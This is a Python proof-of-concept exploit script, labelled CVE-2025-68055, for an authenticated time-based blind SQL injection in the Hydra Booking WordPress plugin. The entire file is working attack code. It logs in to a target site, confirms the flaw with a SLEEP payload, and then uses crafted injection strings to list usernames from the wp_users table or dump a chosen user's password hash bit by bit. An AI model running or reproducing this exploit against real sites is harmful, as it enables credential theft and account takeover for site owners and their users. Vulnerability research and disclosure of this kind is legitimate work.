#!/usr/bin/env python3 import sys import requests import argparse import time def wordpress_login(session: requests.Session, url: str, login: str, password: str) -> str: endpoint = url + "/wp-login.php" data = { "log": login, "pwd": password, "wp-submit": "Log In", "redirect_to": url + "/wp-admin/admin.php?page=hydra-booking", "testcookie": 1 } cookies = { "wordpress_test_cookie": "WP Cookie check" } try: res = session.post( endpoint, data=data, verify=False, allow_redirects=False, cookies=cookies) except Exception as e: print("[FATAL] Failed to perform login request : " + str(e)) exit(-1) if res.status_code == 200: print("[FATAL] Invalid credentials") exit(-1) if res.status_code != 302: print("[FATAL] Failed to login for unknown causes") exit(-1) # fetch nonce endpoint = url+"/wp-admin/admin-ajax.php?action=rest-nonce" res = session.get(endpoint) return res.text def send_payload(session: requests.Session, url: str, payload: str) -> int: endpoint = url + "/wp-json/hydra-booking/v1/booking/create" data = { "id": payload } start = int(time.time()) res = session.post(endpoint, json=data) end = int(time.time()) if res.status_code != 200: print("[FATAL] Failed to perform SQL injection") exit(-1) return end - start def generate_payload(char_offset: int, group_offset: int, column_name: str, table_name: str, cond=""): payload = f"foobar' AND (SELECT 1 FROM (select (case field(concat(substring(lpad(bin(ascii(substring({column_name}, {char_offset}, 1))), 8, '0'), {group_offset}, 2)), '00', '10', '01', '11') when 1 then TRUE when 2 then SLEEP(2) when 3 then SLEEP(4) when 4 then SLEEP(6) end) FROM {table_name} {cond})fHas) AND 'a'='a" return payload def extract_password(session: requests.Session, url: str, target: str): ext = "" blocks = ['00', '10', '01', '11'] idx = 1 print(f"Dumping pasword hash of {target} : ", end="", flush=True) while True: bits = "" for i in range(1, 9, 2): payload = generate_payload(idx, i, "user_pass", "wp_users", cond=f"WHERE user_login='{target}' LIMIT 1") diff = send_payload(session, url, payload) bits += blocks[diff//2] idx += 1 new = int(bits, 2) if new == 0: break else: ext += chr(new) print(chr(new), end='', flush=True) print() def dump_users(session: requests.Session, url: str): print("Listing users from wp_users table : ") count = 0 while True: print("- ", end="", flush=True) ext = "" blocks = ['00', '10', '01', '11'] idx = 1 while True: bits = "" for i in range(1, 9, 2): payload = generate_payload(idx, i, "user_login", "wp_users", f"LIMIT 1 OFFSET {count}") diff = send_payload(session, url, payload) bits += blocks[diff//2] idx += 1 new = int(bits, 2) if new == 0: break else: ext += chr(new) print(chr(new), end='', flush=True) count += 1 print() if not ext: break def is_vulnerable(session, url: str): diff = send_payload(session, url, "foobar' AND (SELECT 1 FROM (SELECT SLEEP(5))fHas) AND 'a'='a") return diff >= 5 def exploit(url: str, login: str, password: str, list_users: bool, dump_password: str): session = requests.Session() nonce = wordpress_login(session, url, login, password) print("[+] Successfully logged in to wordpress !") print("[+] Wordpress Nonce :", nonce) session.headers.update({ "X-WP-Nonce": nonce }) print("[*] Checking if target is vulnerable...") if is_vulnerable(session, url): print("[+] TARGET IS VULNERABLE") else: print("[-] TARGET IS NOT VULNERABLE.") exit(-1) if dump_password: extract_password(session, url, dump_password) elif list_users: dump_users(session, url) if __name__ == "__main__": parser = argparse.ArgumentParser( prog='CVE-2025-68055', description='POC for authenticated SQLi in Hydra Booking WP-Plugin', epilog='Author: Nosiume') parser.add_argument('--url', '-u', help='url of the target wordpress endpoint', required=True) parser.add_argument("--login", "-l", help='username of the account', required=True) parser.add_argument("--password", "-p", help='password of the account', required=True) parser.add_argument("--list-users", help="List users using Time-Based Blind SQLi ", action="store_true") parser.add_argument("--dump-password", help="dumps the password of the given user") args = parser.parse_args(sys.argv[1:]) exploit(args.url, args.login, args.password, args.list_users, args.dump_password)